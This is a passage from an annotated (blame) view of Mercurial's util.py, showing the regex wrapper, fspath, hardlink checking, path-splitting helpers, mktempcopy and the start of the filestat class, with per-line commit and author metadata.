50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2131 try:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2132 # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2133 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2134 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2135 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2136
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2137 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2138 '''Compile a regular expression, using re2 if possible
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2139
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2140 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2141 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2142 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2143 if _re2 is None:
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2144 self._checkre2()
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2145 if _re2 and (flags & ~(remod.IGNORECASE \| remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2146 if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2147 pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2148 if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2149 pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2150 try:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2151 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2152 except re2.error:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2153 pass
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2154 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2155
21914 10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2156 @propertycache
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2157 def escape(self):
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2158 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2159
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2160 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2161 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2162 '''
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2163 global _re2
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2164 if _re2 is None:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2165 self._checkre2()
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2166 if _re2:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2167 return re2.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2168 else:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2169 return remod.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	2170
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2171
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2172 re = _re()
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2173
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2174 _fspathcache = {}
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2175
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2176
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2177 def fspath(name, root):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2178 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2179
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2180 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2181
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2182 Note that this function is unnecessary, and should not be
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2183 called, for case-sensitive filesystems (simply because it's expensive).
15670 d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15669 diff changeset	2184
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	2185 The root should be normcase-ed, too.
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2186 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2187
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2188 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2189 return dict((normcase(n), n) for n in os.listdir(dir))
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2190
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2191 seps = pycompat.ossep
30630 bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2192 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	2193 seps = seps + pycompat.osaltsep
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2194 # Protect backslashes. This gets silly very quickly.
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2195 seps.replace('\\', '\\\\')
31503 670166e0fcaa util: use bytes re on bytes input in fspath Augie Fackler <augie@google.com> parents: 31502 diff changeset	2196 pattern = remod.compile(br'([^%s]+)\|([%s]+)' % (seps, seps))
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2197 dir = os.path.normpath(root)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2198 result = []
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2199 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2200 if sep:
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2201 result.append(sep)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2202 continue
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2203
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2204 if dir not in _fspathcache:
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2205 _fspathcache[dir] = _makefspathcacheentry(dir)
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	2206 contents = _fspathcache[dir]
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2207
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2208 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2209 if not found:
15720 3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2210 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	2211 # may take place for each patches of "hg qpush", for example
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2212 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	2213 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2214
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	2215 result.append(found or part)
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	2216 dir = os.path.join(dir, part)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2217
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2218 return ''.join(result)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	2219
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2220
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2221 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2222 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2223
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2224 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2225 # work around issue2543 (or testfile may get lost on Samba shares)
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2226 f1, f2, fp = None, None, None
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2227 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2228 fd, f1 = pycompat.mkstemp(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2229 prefix='.%s-' % os.path.basename(testfile),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2230 suffix='1~',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2231 dir=os.path.dirname(testfile),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2232 )
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2233 os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2234 f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2235
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2236 oslink(f1, f2)
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2237 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2238 # the file is open.
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2239 fp = posixfile(f2)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2240 return nlinks(f2) > 1
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2241 except OSError:
754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	2242 return False
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2243 finally:
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2244 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	2245 fp.close()
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2246 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2247 try:
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2248 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	2249 os.unlink(f)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2250 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	2251 pass
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	2252
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2253
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2254 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2255 '''Check path ends with os.sep or os.altsep.'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2256 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2257 path.endswith(pycompat.ossep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2258 or pycompat.osaltsep
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2259 and path.endswith(pycompat.osaltsep)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2260 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2261
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	2262
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2263 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2264 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2265 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2266 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2267 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2268 function if need.'''
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	2269 return path.split(pycompat.ossep)
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	2270
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2271
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2272 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2273 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2274
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2275 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2276
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2277 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2278 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2279
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2280 Returns the name of the temporary file.
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2281 """
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2282 d, fn = os.path.split(name)
38197 aac4be30e250 py3: wrap tempfile.mkstemp() to use bytes path Yuya Nishihara <yuya@tcha.org> parents: 38016 diff changeset	2283 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2284 os.close(fd)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2285 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2286 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2287 # its mode. Otherwise, manually obey umask.
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2288 copymode(name, temp, createmode, enforcewritable)
593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2289
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2290 if emptyok:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2291 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2292 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2293 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2294 ifp = posixfile(name, "rb")
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2295 except IOError as inst:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2296 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2297 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2298 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2299 inst.filename = name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2300 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2301 ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2302 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2303 ofp.write(chunk)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2304 ifp.close()
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2305 ofp.close()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2306 except: # re-raises
34436 5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2307 try:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2308 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2309 except OSError:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	2310 pass
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2311 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2312 return temp
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2313
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2314
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2315 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2316 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2317
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2318 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2319 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2320 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2321 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2322
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2323 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2324 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2325
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2326 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2327 def frompath(cls, path):
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2328 try:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2329 stat = os.stat(path)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2330 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2331 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2332 raise
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2333 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2334 return cls(stat)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2335
32835 1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2336 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2337 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2338 stat = os.fstat(fp.fileno())
